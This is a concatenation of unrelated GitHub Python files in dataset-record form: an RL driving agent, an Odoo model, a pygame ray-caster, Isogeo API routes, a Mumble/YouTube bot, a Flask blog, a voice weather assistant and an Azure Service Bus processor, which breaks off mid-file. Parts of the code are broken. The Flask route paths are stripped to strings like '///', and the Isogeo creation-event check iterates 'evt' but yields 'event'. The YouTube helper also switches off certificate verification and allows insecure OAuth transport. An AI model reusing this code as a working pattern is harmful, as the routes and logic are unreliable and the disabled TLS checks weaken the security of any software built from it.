ddpg是采用数值的输出,因此需要添加一定均值和方差的高斯加到action输出上,以便于引导ddpg进行探索\n # 初始对于每个action的方差,在action输出时,对输出的浮点数进行一次随机,这个是随机的方差\n start_variance_for_each_action=(1.0, 1.0),\n # 方差每次衰减的比例,随机的方差会逐渐减小,以从广度过渡到深度/确定性搜索\n variance_decay_ratio_for_each_action=(0.995, 0.995),\n # 方差每次经过多少步骤衰减\n variance_decay_step=100,\n # 初始对于每个action的修正值\n start_offset_for_each_action=(0, 0),\n # 每次修正值的减少量,直接和下面的值相加\n offset_decay_value_for_each_action=(-0.01, -0.01),\n # 每间隔多少步对这个修正量进行减少,减少到0就是action完全对应的输入\n offset_decay_step=100,\n # 用以注入其他agent/model参数的hook\n model_hook=None,\n debug=False):\n self.worker_index = self.__class__.TOTAL_WORKER_NUM\n self.__class__.TOTAL_WORKER_NUM += 1\n self.do_RL_learn = do_RL_learn\n if do_RL_learn == False:\n print(\"Worker %s will not do RL\"% name)\n self.start_variance_for_each_action = np.array(start_variance_for_each_action)\n self.variance_decay_ratio_for_each_action = np.array(variance_decay_ratio_for_each_action)\n self.variance_decay_step = variance_decay_step\n self.start_offset_for_each_action = np.array(start_offset_for_each_action)\n self.offset_decay_value_for_each_action = np.array(offset_decay_value_for_each_action)\n self.offset_decay_step = offset_decay_step\n # 保证方差和修正的数量和action数目匹配\n assert env.action_space[0] == self.start_variance_for_each_action.shape[0] == \\\n self.variance_decay_ratio_for_each_action.shape[0] == \\\n self.start_offset_for_each_action.shape[0] == \\\n self.offset_decay_value_for_each_action.shape[\n 0], \"Should set var, offset and their decay for each action!\"\n\n self.offset_for_each_action = np.array(self.start_offset_for_each_action)\n self.variance_for_each_action = np.array(self.start_variance_for_each_action)\n self.env = env\n self.env.connect()\n self.name = name\n self.local_model = local_model\n self.sess = tf_sess\n self.global_model = global_model\n self.save_interval = save_ineterval\n self.model_hook = model_hook\n self.debug = debug\n self.env.start()\n if debug:\n # 用于实时变量监控的monitor,创建线型参数\n self.monitor_line_config = {\n \"throttle or brake\": LineConfig(color=(1, 0, 0), line_marker=LineConfig.LineMarkerStar),\n \"turn\": LineConfig(color=(0, 1, 0), line_marker=LineConfig.LineMarkerStar),\n \"reward\": LineConfig(color=(0, 0, 1), line_style=LineConfig.LineStyleDashDot), }\n\n self.monitor_data = {}\n # monitor的数据，初始化\n for vname in self.monitor_line_config:\n self.monitor_data[vname] = 0\n self.monitor = RuntimeLineChart(ylim=(-1, 1), window_area=100,\n vname_to_line_config_dict=self.monitor_line_config)\n # 需要在另一个进程中开启\n p = Process(target=self.monitor.run)\n p.start()\n\n def work(self):\n # local从global中拉取权重!\n self.local_model.pull_global()\n current_state = self.env.reset()\n total_step = 1\n # ep_reward = 0\n while 1:\n # 如果有hook,就会截取state来替换成hook给出的action\n if self.model_hook is not None:\n action = self.model_hook.tamper_action(self.env, current_state)\n else:\n action = self.local_model.choose_action(current_state)\n model_action = copy.deepcopy(action)\n for i in range(action.shape[0]):\n # action分别是油门/刹车 和 左转/右转,因此值域-1到1,这里先随机,然后加上offset\n action[i] = np.clip(\n np.random.normal(\n action[i],\n self.variance_for_each_action[i]) + self.offset_for_each_action[i],\n -1, 1)\n if random.randint(0, 50) == 0: # 以1/50概率打印模型输出\n print(\"Model predict action:\", model_action, \"After randomed\", action)\n\n new_state, reward, done, _ = self.env.step(action)\n if self.debug:\n # 更新monitor数据\n self.monitor_data[\"throttle or brake\"] = action[0]\n self.monitor_data[\"turn\"] = action[1]\n self.monitor_data[\"reward\"] = reward\n self.monitor.update_data(self.monitor_data)\n # print(\"Action: %s Reward %s\"%(action,reward))\n\n self.local_model.store_transition(current_state, action, reward, new_state)\n # print(\":\",total_step % variance_decay_step)\n # 方差和offset衰减\n if total_step % self.variance_decay_step == 0:\n self.variance_for_each_action = self.variance_for_each_action * self.variance_decay_ratio_for_each_action\n if total_step % self.offset_decay_step == 0:\n self.offset_for_each_action = self.offset_for_each_action - self.offset_decay_value_for_each_action\n for i in range(self.offset_for_each_action.shape[0]):\n if self.offset_for_each_action[i] < 0.0:\n self.offset_for_each_action[i] = 0.0\n\n # print(self.variance_for_each_action,self.offset_for_each_action)\n current_state = new_state\n # ep_reward += reward\n total_step += 1\n self.__class__.TOTAL_REWARD += reward\n # if done or total_step % 30 == 0:\n if done:\n self.__class__.TOTAL_STEP += 1\n print(\"Now global step\", self.__class__.TOTAL_STEP)\n if self.do_RL_learn:\n print(\"Give global to learn!\")\n self.local_model.give_global_to_learn()\n if self.__class__.TOTAL_STEP % self.save_interval == 0:\n self.global_model.save(global_step=self.__class__.TOTAL_STEP)\n print(\"Worker of index %s saved model weights\" % self.worker_index)\n # 更新后拉取权重\n self.local_model.pull_global()\n print(\"worker%s: \" % self.name, 'Step: ', total_step, ', Now Reward: %.5f' % reward,\n \"Global Mean Reward %.2f\" % (self.__class__.TOTAL_REWARD / self.__class__.TOTAL_STEP),\n 'Explore mean variance %.5f, mean offset %.5f' % (\n float(np.mean(self.variance_for_each_action)),\n float(np.mean(self.offset_for_each_action))))\n # print(\"Dataset num%s\" % self.local_model.pointer)\n # 建议不要clear掉历史\n # self.local_model.clear_memory()\n","repo_name":"B-C-WANG/ReinforcementLearningInAutoPilot","sub_path":"src/ReinforcementLearning/Modules/Agents/DDPG_Agent.py","file_name":"DDPG_Agent.py","file_ext":"py","file_size_in_byte":15339,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"44"} +{"seq_id":"14493247515","text":"# -*- coding: utf-8 -*-\r\nfrom odoo import models, fields\r\n\r\nclass detallepedidos(models.Model):\r\n _name = \"restaurante3.detallepedidos\"\r\n\r\n name = fields.Char(string='ClaveDetallePedido')\r\n nameme = fields.Many2one('restaurante3.pedidos',require='True',string='ClavePedido')\r\n fecha = fields.Char(string='Fecha')\r\n folio = fields.Integer(string='Folio')\r\n empleados = fields.Many2one('restaurante3.empleados',require='True',string='Empleado')\r\n tipomesas = fields.Many2many('restaurante3.tipomesas',require='True',string='Tipomesas')\r\n clientes = fields.Many2one('restaurante3.clientes',require='True',string='Cliente')\r\n orden = fields.Many2many('restaurante3.menuorden',require='True',String='Nombre de Orden')\r\n cantidad = fields.Integer(string='Cantidad')\r\n descripcion = fields.Char(string='Descripcion')\r\n importe = fields.Integer(string='Importe')\r\n \r\n _sql_constraints = [\r\n ('unique_detallepedido', 'unique (name)', 'El detallepedido ya existe!')\r\n ]","repo_name":"masterReis/restaurante","sub_path":"detallepedidos.py","file_name":"detallepedidos.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"31404839218","text":"import pygame\nimport math\nfrom pygame.locals import *\n\npygame.init()\nscreen = pygame.display.set_mode((720,30))\n\nedges_list = [\\\n ((-1, 2), (0, 1)),\\\n ((0, 1), (1, 3)),\\\n ((1, 3), (-1, 2))\\\n ]\n\ntot_display = []\n\nc_node = [0., 0.] # place of viewer\n\nfov_start = 720 # the current visual field (degree * 4)\n# e.g., 720 means an arc 180° -> 90° -> 0°\n\ndef cal_len(vec): # return the length of a vector\n return math.sqrt(vec[0] * vec[0] + vec[1] * vec[1])\n\ndef cal_angle(vec): # return the angle of a vector (degree * 4)\n angle_cos = vec[0] / cal_len(vec)\n angle = math.acos(angle_cos) * 180 / math.pi\n angle = int(angle * 4)\n if vec[1] < 0:\n angle = 1440 - angle\n return angle\n\ndef cal_dis(vec1, vec2, angle): # return the distance of a certain point\n len1 = cal_len(vec1)\n len2 = cal_len(vec2)\n ang1 = cal_angle(vec1)\n ang2 = cal_angle(vec2)\n\n dif = (angle - ang1) / (ang2 - ang1)\n rslt = len1 + (len2 - len1) * dif\n\n return rslt \n\ndef swap(item1, item2):\n return item2, item1\n\ndef update():\n global tot_display, c_node\n tot_display = []\n\n # curr_ang: current angle in degree * 4\n # curr_dis: current minimum distance to the edges\n for curr_ang in range(1440):\n curr_dis = float(\"inf\")\n for edge in edges_list:\n node1 = (edge[0][0] - c_node[0], edge[0][1] - c_node[1])\n node2 = (edge[1][0] - c_node[0], edge[1][1] - c_node[1])\n ang1 = cal_angle(node1)\n ang2 = cal_angle(node2)\n if ang1 > ang2:\n node1, node2 = swap(node1, node2)\n ang1, ang2 = swap(ang1, ang2)\n elif ang1 == ang2:\n continue\n\n if curr_ang >= ang1 and curr_ang <= ang2:\n curr_dis = min(curr_dis, cal_dis(node1, node2, curr_ang))\n tot_display.append(curr_dis) \n\nrunning = True\n\nupdate()\n\nwhile running:\n \n for event in pygame.event.get():\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n running = False\n elif event.type == QUIT:\n running = False\n\n key_list = pygame.key.get_pressed() \n if key_list[pygame.K_RIGHT]: \n # c_node[0] += 0.01\n fov_start += 1\n update()\n elif key_list[pygame.K_LEFT]:\n # c_node[0] -= 0.01\n fov_start -= 1\n update()\n elif key_list[pygame.K_UP]:\n c_node[1] += 0.01\n update()\n elif key_list[pygame.K_DOWN]:\n c_node[1] -= 0.01\n update()\n print(fov_start) \n fov_scale = pygame.surface.Surface((540, 30))\n for deg_raw in range(fov_start, fov_start-540, -1):\n # print(deg)\n if deg_raw < 0:\n deg = deg_raw + 1440\n else:\n deg = deg_raw\n\n color_value = int(255 / (tot_display[deg] + 1))\n color = (color_value, color_value, color_value)\n line_rect = Rect(deg, 0, 1, 30)\n pygame.draw.rect(fov_scale, color, line_rect)\n\n screen.blit(fov_scale, (0, 0))\n\n pygame.display.update()\n\n\n\n\n\n\n\n","repo_name":"xxu-mzwyt/Flatland","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15440985799","text":"# -*- coding: UTF-8 -*-\n#! python3 # noqa E265\n\n\"\"\"\n Isogeo API v1 - API Routes for Events entities\n\n See: http://help.isogeo.com/api/complete/index.html\n\"\"\"\n\n# #############################################################################\n# ########## Libraries #############\n# ##################################\n\n# Standard library\nimport logging\nfrom datetime import datetime\n\n# submodules\nfrom isogeo_pysdk.checker import IsogeoChecker\nfrom isogeo_pysdk.decorators import ApiDecorators\nfrom isogeo_pysdk.models import Event, Metadata\n\n# #############################################################################\n# ########## Global #############\n# ##################################\n\nlogger = logging.getLogger(__name__)\nchecker = IsogeoChecker()\n\n\n# #############################################################################\n# ########## Classes ###############\n# ##################################\nclass ApiEvent:\n \"\"\"Routes as methods of Isogeo API used to manipulate events.\"\"\"\n\n def __init__(self, api_client=None):\n if api_client is not None:\n self.api_client = api_client\n\n # store API client (Request [Oauthlib] Session) and pass it to the decorators\n self.api_client = api_client\n ApiDecorators.api_client = api_client\n\n # ensure platform and others params to request\n self.utils = api_client.utils\n # initialize\n super(ApiEvent, self).__init__()\n\n @ApiDecorators._check_bearer_validity\n def listing(self, metadata: Metadata) -> list:\n \"\"\"Get all events of a metadata.\n\n :param Metadata metadata: metadata (resource) to edit\n \"\"\"\n # URL\n url_events = self.utils.get_request_base_url(\n route=\"resources/{}/events\".format(metadata._id)\n )\n\n # request\n req_events = self.api_client.get(\n url=url_events,\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n verify=self.api_client.ssl,\n timeout=self.api_client.timeout,\n )\n\n # checking response\n req_check = checker.check_api_response(req_events)\n if isinstance(req_check, tuple):\n return req_check\n\n # end of method\n return req_events.json()\n\n @ApiDecorators._check_bearer_validity\n def event(self, metadata_id: str, event_id: str) -> Event:\n \"\"\"Get details about a specific event.\n\n :param str event_id: event UUID to get\n :param str event_id: event UUID\n \"\"\"\n # check metadata UUID\n if not checker.check_is_uuid(metadata_id):\n raise ValueError(\n \"Metadata ID is not a correct UUID: {}\".format(metadata_id)\n )\n else:\n pass\n\n # check event UUID\n if not checker.check_is_uuid(event_id):\n raise ValueError(\"Event ID is not a correct UUID.\")\n else:\n pass\n\n # URL\n url_event = self.utils.get_request_base_url(\n route=\"resources/{}/events/{}\".format(metadata_id, event_id)\n )\n\n # request\n req_event = self.api_client.get(\n url=url_event,\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n timeout=self.api_client.timeout,\n verify=self.api_client.ssl,\n )\n\n # checking response\n req_check = checker.check_api_response(req_event)\n if isinstance(req_check, tuple):\n return req_check\n\n # add parent resource id to keep tracking\n event_augmented = req_event.json()\n event_augmented[\"parent_resource\"] = metadata_id\n\n # end of method\n return Event(**event_augmented)\n\n @ApiDecorators._check_bearer_validity\n def create(self, metadata: Metadata, event: Event) -> Event:\n \"\"\"Add a new event to a metadata (= resource).\n\n :param Metadata metadata: metadata (resource) to edit\n :param Event Event: event object to create\n \"\"\"\n # check params\n if event.kind not in (\"creation\", \"update\", \"publication\"):\n raise ValueError(\n \"'event.kind' must be one of: creation, update, publication\"\n )\n\n if isinstance(event.date, str):\n if len(event.date) == 10:\n # 2019-08-09\n datetime.strptime(event.date, \"%Y-%m-%d\")\n elif len(event.date) == 25:\n # ISO 8601 as returned by the API: '2019-08-09T00:00:00+00:00'\n datetime.strptime(event.date[:10], \"%Y-%m-%dT%H:%M:%S\")\n else:\n logger.warning(\"Unknown date format: {}\".format(event.date))\n elif isinstance(event.date, datetime):\n event.date = event.date.strftime(\"%Y-%m-%d\")\n else:\n raise TypeError(\"'event.date' must be a str or a datetime\")\n\n # ensure that a creation date doesn't already exist\n if event.kind == \"creation\":\n # retrieve metadata events\n metadata_events = self.api_client.metadata.get(\n metadata._id, include=(\"events\",)\n )\n # filter on creation events\n events_creation = [\n event for evt in metadata_events.events if evt.get(\"kind\") == \"creation\"\n ]\n if events_creation:\n logger.warning(\n \"A creation event already exist. A metadata can only have one creation event. Use event_update instead.\"\n )\n return events_creation[0]\n\n # ensure removing event.description for creation dates\n if event.kind == \"creation\" and event.description:\n event.description = None\n logger.warning(\"Event comments are not allowed for creation dates\")\n\n # URL\n url_event_create = self.utils.get_request_base_url(\n route=\"resources/{}/events\".format(metadata._id)\n )\n\n # request\n req_new_event = self.api_client.post(\n url=url_event_create,\n json={\n \"date\": event.date,\n \"description\": event.description,\n \"kind\": event.kind,\n },\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n verify=self.api_client.ssl,\n timeout=self.api_client.timeout,\n )\n\n # checking response\n req_check = checker.check_api_response(req_new_event)\n if isinstance(req_check, tuple):\n return req_check\n\n # add parent resource id to keep tracking\n event_augmented = req_new_event.json()\n event_augmented[\"parent_resource\"] = metadata._id\n\n # end of method\n return Event(**event_augmented)\n\n @ApiDecorators._check_bearer_validity\n def delete(self, event: Event, metadata: Metadata = None):\n \"\"\"Delete a event from Isogeo database.\n\n :param class event: Event model object to delete\n :param Metadata metadata: parent metadata (resource) containing the event\n \"\"\"\n # check event UUID\n if not checker.check_is_uuid(event._id):\n raise ValueError(\"Event ID is not a correct UUID: {}\".format(event._id))\n else:\n pass\n\n # retrieve parent metadata\n if not checker.check_is_uuid(event.parent_resource) and not metadata:\n raise ValueError(\"Event parent metadata is required. Requesting it...\")\n elif not checker.check_is_uuid(event.parent_resource) and metadata:\n event.parent_resource = metadata._id\n else:\n pass\n\n # URL\n url_event_delete = self.utils.get_request_base_url(\n route=\"resources/{}/events/{}\".format(event.parent_resource, event._id)\n )\n\n # request\n req_event_deletion = self.api_client.delete(\n url=url_event_delete,\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n timeout=self.api_client.timeout,\n verify=self.api_client.ssl,\n )\n\n # checking response\n req_check = checker.check_api_response(req_event_deletion)\n if isinstance(req_check, tuple):\n return req_check\n\n return req_event_deletion\n\n @ApiDecorators._check_bearer_validity\n def update(self, event: Event, metadata: Metadata = None) -> Event:\n \"\"\"Update an event.\n\n :param class event: Event model object to update\n :param Metadata metadata: parent metadata (resource) containing the event\n \"\"\"\n # check event UUID\n if not checker.check_is_uuid(event._id):\n raise ValueError(\"Event ID is not a correct UUID: {}\".format(event._id))\n else:\n pass\n\n # retrieve parent metadata\n if not checker.check_is_uuid(event.parent_resource) and not metadata:\n raise ValueError(\"Event parent metadata is required. Requesting it...\")\n elif not checker.check_is_uuid(event.parent_resource) and metadata:\n event.parent_resource = metadata._id\n else:\n pass\n\n # URL\n url_event_update = self.utils.get_request_base_url(\n route=\"resources/{}/events/{}\".format(event.parent_resource, event._id)\n )\n\n # request\n req_event_update = self.api_client.put(\n url=url_event_update,\n json=event.to_dict_creation(),\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n verify=self.api_client.ssl,\n timeout=self.api_client.timeout,\n )\n\n # checking response\n req_check = checker.check_api_response(req_event_update)\n if isinstance(req_check, tuple):\n return req_check\n\n # add parent resource id to keep tracking\n event_augmented = req_event_update.json()\n event_augmented[\"parent_resource\"] = event.parent_resource\n\n # end of method\n return Event(**event_augmented)\n\n\n# ##############################################################################\n# ##### Stand alone program ########\n# ##################################\nif __name__ == \"__main__\":\n \"\"\"standalone execution.\"\"\"\n api_event = ApiEvent()\n","repo_name":"isogeo/isogeo-api-py-minsdk","sub_path":"isogeo_pysdk/api/routes_event.py","file_name":"routes_event.py","file_ext":"py","file_size_in_byte":10259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"2632295248","text":"import os\n\nimport pafy\nfrom googleapiclient.discovery import build\nfrom oauth2client.service_account import ServiceAccountCredentials as SAC\n\nCLIENT_SECRETS_FILE = 'config/service_client.json'\nSCOPES = ['https://www.googleapis.com/auth/youtube.force-ssl']\nAPI_SERVICE_NAME = 'youtube'\nAPI_VERSION = 'v3'\n\n\ndef get_authenticated_service():\n credentials = SAC.from_json_keyfile_name(CLIENT_SECRETS_FILE, SCOPES)\n return build(API_SERVICE_NAME, API_VERSION, credentials=credentials)\n\n\ndef get_video_title(video_id):\n client = get_authenticated_service()\n os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n response = client.videos().list(part='snippet', id=video_id).execute()\n return response['items'][0]['snippet']['title']\n\n\ndef get_video_id(video_title):\n client = get_authenticated_service()\n response = client.search().list(\n part='snippet', maxResults=10, q=video_title, type=''\n ).execute()\n return response['items'][0]['id']['videoId']\n\n\ndef get_audio_stream(link):\n url = f'https://www.youtube.com/watch?v={link}'\n video = pafy.new(url, ydl_opts={'nocheckcertificate': True})\n audiostream = video.getbestaudio()\n command = ['ffmpeg', '-v', 'warning', '-nostdin', '-i', audiostream.url, '-ac', '1', '-f', 's16le', '-ar', '48000', '-']\n return command\n","repo_name":"vivaelnino9/mumble_bot","sub_path":"youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37818452801","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nfrom urllib.parse import urljoin\nfrom datetime import datetime\n\nfrom flask import (Flask, render_template, send_from_directory,\n make_response, request, url_for)\nfrom flask_flatpages import FlatPages, pygments_style_defs\nfrom flask_frozen import Freezer\n# from werkzeug.contrib.atom import AtomFeed\nfrom werkzeug.routing import BaseConverter, ValidationError\n\nfrom core import StaticBlog\nfrom config import WEBSITE_URL\n\n\napp = Flask(__name__)\napp.config.from_object('config')\n# flat-pages and freezer\npages = FlatPages(app)\nfreezer = Freezer(app)\n# create static blog instance\nstatic_blog = StaticBlog(app, pages)\n\n\n'''\nSome additional\n'''\n\ndef make_external(url):\n return urljoin(WEBSITE_URL, url)\n\n\n'''\nUrl converters, to avoid wrong url pattern matching\n'''\n\nclass NoSomethingConverter(BaseConverter):\n restriction = []\n\n def __ini__(self, url_map):\n super(NoSomethingConverter, self).__init__(url_map)\n\n def to_python(self, value):\n if value in self.restriction():\n raise ValidationError()\n return value\n\n\nclass NoStaticConverter(NoSomethingConverter):\n restriction = lambda x: ['static']\napp.url_map.converters['no_static'] = NoStaticConverter\n\nclass NoBlogsConverter(NoSomethingConverter):\n restriction = static_blog.get_blogs_names\napp.url_map.converters['no_blogs'] = NoBlogsConverter\n\nclass NoPagesConverter(NoSomethingConverter):\n restriction = static_blog.get_pages_names\napp.url_map.converters['no_pages'] = NoPagesConverter\n\n\n'''\nTemplate filters and context processors\n'''\n\n@app.template_filter('date_to_iso')\ndef date_to_iso(s):\n '''\n Convert 2010-11-17 09:47 to python datetime\n '''\n\n date = datetime.strptime(s, '%Y-%m-%d %H:%M')\n return date.strftime('%Y-%m-%d')\n\n\n@app.template_filter('count_articles_in_category')\ndef count_articles_in_category(s):\n return static_blog.count_articles_in_category(s)\n\n\n@app.context_processor\ndef inject_nav_pages():\n return dict(flat_pages=static_blog.get_pages_for('page'))\n\n\n@app.context_processor\ndef inject_sidebar():\n # inject categories list\n categories = static_blog.get_categories()\n # inject tags list\n tags = static_blog.get_tags()\n return dict(categories=categories, tags=tags)\n\n\n'''\nViews\n'''\n\n@app.route('/pygments.css')\ndef pygments_css():\n return pygments_style_defs('tango'), 200, {'Content-Type': 'text/css'}\n\n\n@app.route('/CNAME')\ndef cname():\n cname_path = os.path.join(app.root_path, 'static')\n return send_from_directory(cname_path, 'CNAME', mimetype='text/plain')\n\n\n@app.route('/favicon.ico')\ndef favicon():\n favicon_path = os.path.join(app.root_path, 'static')\n return send_from_directory(favicon_path, 'favicon.ico', mimetype='image/x-icon')\n\n\n@app.route('/sitemap.xml', methods=['GET'])\ndef sitemap():\n \"\"\"\n Generate sitemap.xml. Makes a list of urls and date modified.\n \"\"\"\n\n flat_pages = static_blog.get_all_pages()\n articles = static_blog.get_all_articles()\n\n sitemap_xml = render_template('sitemap.xml', flat_pages=flat_pages, articles=articles)\n response = make_response(sitemap_xml)\n response.headers[\"Content-Type\"] = \"application/xml\"\n\n return response\n\n\n\"\"\"TODO: AtomFeed is deprecated\n@app.route('/feed.atom')\ndef recent_feed():\n feed = AtomFeed('Ninjaside.info Atom Feed', feed_url=request.url, url=request.url_root)\n articles = static_blog.get_articles('blog', language=\"ru\")\n for article in articles:\n feed.add(\n article.meta['title'], article.meta['summary'],\n content_type='html',\n url=make_external(url_for('post', name=article.blog, lang=article.language, article_name=article.name)),\n updated=datetime.strptime(article.meta['date'], static_blog.post_date_format),\n published=datetime.strptime(article.meta['date'], static_blog.post_date_format)\n )\n return feed.get_response()\n\"\"\"\n\n\n@app.route('/')\ndef index():\n blogs = static_blog.get_all_blogs()\n return render_template('index.html', blogs=blogs)\n\n\n@app.route('///')\ndef page(name, page_name):\n '''\n Render flatpages\n '''\n\n flat_page = static_blog.get_page_by_name_for(name, page_name)\n return render_template(getattr(flat_page, 'template'), flat_page=flat_page)\n\n\n@app.route('/wiki/')\ndef wiki_index():\n '''\n Render wiki pages\n '''\n\n wiki_pages = static_blog.get_pages_for('wiki')\n return render_template('wiki_index.html', wiki_pages=wiki_pages)\n\n\n@app.route('//')\ndef blog_lang(name):\n '''\n Render blog page with languages\n '''\n\n blog = static_blog.get_blog(name)\n return render_template('blog_all.html', blog=blog)\n\n\n@app.route('///')\ndef blog(name, lang):\n '''\n Render blog index page\n '''\n\n articles = static_blog.get_articles(name, language=lang)\n return render_template('blog.html', articles=articles, language=lang)\n\n\n@app.route('////')\ndef post(name, lang, article_name):\n '''\n Render blog post\n '''\n\n article = static_blog.get_article_by_name(article_name)\n return render_template('post.html', article=article, language=lang)\n\n\n@app.route('/tag//')\ndef tag(tag):\n tagged = [p for p in pages if tag in p.meta.get('tags', [])]\n return render_template('tag.html', articles=tagged, tag=tag)\n\n\n@app.route('/category//')\ndef category(category):\n articles = static_blog.get_all_articles()\n articles_in_category = [\n p for p in articles if category == p.meta.get('category', '')]\n return render_template('category.html', articles=articles_in_category,\n category=category)\n\n\nif __name__ == '__main__':\n if len(sys.argv) > 1 and sys.argv[1] == \"build\":\n app.config['CDN_STATIC'] = True\n app.config['PAGES_ADDITIONAL_JS'] = True\n freezer.freeze()\n else:\n app.run(port=8000)\n","repo_name":"oiwn/my-blog","sub_path":"blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"37317413393","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 22 17:09:37 2020\n\n@author: fede9326\n\"\"\"\n\nimport pygame\nimport speech_recognition as sr_audio\nimport pyttsx3\nimport spacy\nfrom spacy.matcher import Matcher\nimport requests\n\n# openweathermap API_Key\nweather_api_key = \"xxxxxxxxxxxxxxxxxxxxxxxxxx\"\n# base_url variable to store url \nopenweathermap_url = \"http://api.openweathermap.org/data/2.5/weather?\" \n\ndef read_text(text):\n engine = pyttsx3.init()\n engine.say(text)\n engine.runAndWait()\n \ndef play_sound(filename):\n pygame.mixer.init()\n pygame.mixer.music.load(filename)\n pygame.mixer.music.play()\n \ndef weather_forecast(city):\n print(\"Fecthing the weather in \" + city) \n \n complete_url = openweathermap_url + \"appid=\" + weather_api_key + \"&q=\" + city\n \n # retrieving data through get API\n response = requests.get(complete_url) \n \n # convert response into json \n data = response.json() \n \n # Checking if the city was found\n if data[\"cod\"] != \"404\": \n \n # storing value of key \"temp\" and converting int celsius\n current_temperature = round(data[\"main\"][\"temp\"] - 273.15)\n \n # storing the weather description \n weather_description = data[\"weather\"][0][\"description\"] \n \n # returning the complete string\n return \"The weather in \" + city + \"is: \" + weather_description + \" with a temperature of \" + str(current_temperature) + \" grad celsius.\"\n \n else: \n return \"City Not Found\"\n \ndef one_shot_weather_forecast():\n \n # Loading spacy dictionary\n nlp = spacy.load('en')\n \n # Bot question\n read_text(\"Hi, would you like to know the weather forecast?\")\n \n # Recording answer after the beep\n mic = sr_audio.Microphone()\n r = sr_audio.Recognizer()\n with mic as source:\n play_sound(\"beep.mp3\")\n audio = r.listen(source, phrase_time_limit=10)\n print(\"Finish Recording. Performing Speech Recognition\")\n \n # Calling Google Cloud Service or sphinx\n text = \"\"\n try: \n text = r.recognize_google_cloud(audio)\n # text = r.recognize_sphinx(audio)\n except:\n print(\"No reponse from Cloud Service\")\n print(\"The recognized text is: \" + text)\n \n # Text analysis with Spacy. Creating Spacy Document\n doc = nlp(text)\n \n # Creating a matcher for the yes/no answer\n matcher = Matcher(nlp.vocab)\n pattern = [{\"LOWER\": \"yes\"}]\n matcher.add(\"Positive\", None, pattern)\n \n # Extracting the city in case of Positive response. Cities are grouped into label \n # \"GPE\" or sometimes \"ORG\".\n city = \"\"\n if len(matcher(doc)) > 0:\n for ent in doc.ents:\n if ent.label_ == \"GPE\" or \"ORG\":\n city = ent.text\n break\n \n if city != \"\":\n print(\"The selected city is: \" + city)\n \n # retrieving weather info through openweathermap API\n weather_forecast_string = weather_forecast(city)\n \n # reading information\n read_text(weather_forecast_string)\n \n else:\n print(\"The service was not able to recognize the city\")\n \n \nif __name__ == \"__main__\":\n one_shot_weather_forecast()\n\n\n\n","repo_name":"FEDE9326/VoiceRecognitionProject","sub_path":"Assistant-WeatherForecast/fundamentals.py","file_name":"fundamentals.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"22895744958","text":"import asyncio\nimport json\nimport logging\nimport os\nfrom typing import Dict\n\nfrom azure.servicebus import ServiceBusReceiveMode\nfrom azure.servicebus.aio import ServiceBusClient\nfrom azure.storage.blob.aio import BlobLeaseClient\n\nfrom commons.msi_helper.msi_util import get_msi_cred\nfrom commons.storage_helper.blob_msi_util import blob_exists, read_blob, write_sm_blob\nfrom commons.utils import get_store_key, get_fran_key, get_loc_id, get_fran_emp_key\nfrom lb_processor.helpers.fran_helper_batch import proc_store_rec_batch, create_fran_container_batch\nfrom lb_processor.helpers.store_helper_batch import update_emp_rec_batch, create_emp_container_batch\n\nlogger = logging.getLogger('smartsell')\n\nsb_ns_endpoint = 'sb://{0}.servicebus.windows.net'.format(os.environ['sb_ns_name'])\n\nlb_queue_name = os.environ[\"lb_queue_name\"]\ncontainer_name = os.environ[\"lb_container_name\"]\n\n\nasync def process_sm_message(sm: Dict):\n store_key = get_store_key(sm[0])\n fran_key = get_fran_key(sm[0])\n loc_id = get_loc_id(sm[0])\n fran_emp_key = get_fran_emp_key(sm[0])\n rest_no = sm[0][\"Rest_Number\"]\n fran_id = sm[0][\"FranchiseeId\"]\n\n store_json = await perform_store_tran(store_key, sm)\n\n await asyncio.gather(\n perform_franchisee_tran(fran_key, loc_id, rest_no, fran_id, store_json),\n perform_emp_franchisee_tran(fran_emp_key, sm))\n\n\nasync def perform_store_tran(store_key: str, sm: Dict) -> Dict:\n store_json, lease, store_blob_present = await process_store(store_key, sm)\n await write_sm_blob(container_name, store_key, store_json, lease, store_blob_present)\n return store_json\n\n\nasync def perform_franchisee_tran(fran_key: str,\n loc_id: str,\n rest_no: str,\n fran_id: str,\n store_json: Dict):\n fran_json, lease, fran_blob_present = await process_franchisee(fran_key, loc_id, rest_no, fran_id, store_json)\n await write_sm_blob(container_name, fran_key, fran_json, lease, fran_blob_present)\n\n\nasync def perform_emp_franchisee_tran(fran_emp_key: str, sm: Dict):\n fran_emp_json, lease, fran_emp_blob_present = await process_emp_franchisee(fran_emp_key, sm)\n await write_sm_blob(container_name, fran_emp_key, fran_emp_json, lease, fran_emp_blob_present)\n\n\nasync def process_store(blob_name: str,\n sm: Dict) -> (Dict, BlobLeaseClient, bool):\n if await blob_exists(container_name, blob_name):\n logger.info(f'Store Exists: {blob_name}')\n\n blob_str, lease = await read_blob(container_name, blob_name)\n store_json = json.loads(blob_str)\n updated_store_json = update_emp_rec_batch(store_json, sm)\n logger.info(f'Store Record Updated: {blob_name}')\n return updated_store_json, lease, True\n else:\n new_store_json = create_emp_container_batch(sm)\n logger.info(f'Created New Store Record: {blob_name}')\n return new_store_json, None, 